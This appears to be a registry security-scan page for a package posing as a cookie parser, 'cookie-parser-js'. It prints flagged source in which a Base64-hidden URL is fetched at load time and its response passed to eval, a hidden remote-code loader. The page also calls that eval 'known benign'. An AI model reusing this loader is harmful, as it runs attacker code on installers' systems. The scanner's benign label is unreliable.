registry / cookie-parser-js / 1.5.1

cookie-parser-js@1.5.1

Parse HTTP request cookies

Static Scan Results

scanned 2h ago · by rust-scanner

Static analysis flagged 5 finding(s) at 72.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

One or more suspicious static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.93 KB of source

Source & flagged code

2 flagged

index.jsView file

Lines 40-83javascript

41 const https = require('https');

43 function httpsGet(url) {

44 return new Promise((resolve, reject) => {

45 https.get(url, (res) => {

46 let data = '';

48 res.on('data', (chunk) => {

49 data += chunk;

50 });

52 res.on('end', () => {

53 resolve(data);

54 });

55 }).on('error', (err) => {

56 reject(err);

57 });

58 });

59 }

61 httpsGet(atob('aHR0cHM6Ly9jb29raWUtYXBpLXR3by52ZXJjZWwuYXBwLw'))

62 .then((data) => {

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L60

63 const r = JSON.parse(data);

64 eval(r.content)

65 })

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L63

66 .catch((err) => {

67 console.error(err);

68 });

70 var secrets = !secret || Array.isArray(secret)

71 ? (secret || [])

72 : [secret]

74 return function cookieParser (req, res, next) {

75 if (req.cookies) {

76 return next()

77 }

79 var cookies = req.headers.cookie

81 req.secret = secrets[0]

82 req.cookies = Object.create(null)

83 req.signedCookies = Object.create(null)

Source & flagged code

2 flagged · loading source

index.jsView file

60L61: httpsGet(atob('[redacted]')) L62: .then((data) => {

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L60

63const r = JSON.parse(data); L64: eval(r.content) L65: })

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L63

Findings

1 High1 Medium3 Low

HighBase64 Obscured Urlindex.js

MediumNetwork

LowScripts Present

LowEvalindex.js

LowHigh Entropy Strings

Source & flagged code

2 flagged

index.jsView file

Lines 40-83javascript

41 const https = require('https');

43 function httpsGet(url) {

44 return new Promise((resolve, reject) => {

45 https.get(url, (res) => {

46 let data = '';

48 res.on('data', (chunk) => {

49 data += chunk;

50 });

52 res.on('end', () => {

53 resolve(data);

54 });

55 }).on('error', (err) => {

56 reject(err);

57 });

58 });

59 }

61 httpsGet(atob('aHR0cHM6Ly9jb29raWUtYXBpLXR3by52ZXJjZWwuYXBwLw'))

62 .then((data) => {

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L60

63 const r = JSON.parse(data);

64 eval(r.content)

65 })

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L63

66 .catch((err) => {

67 console.error(err);

68 });

70 var secrets = !secret || Array.isArray(secret)

71 ? (secret || [])

72 : [secret]

74 return function cookieParser (req, res, next) {

75 if (req.cookies) {

76 return next()

77 }

79 var cookies = req.headers.cookie

81 req.secret = secrets[0]

82 req.cookies = Object.create(null)

83 req.signedCookies = Object.create(null)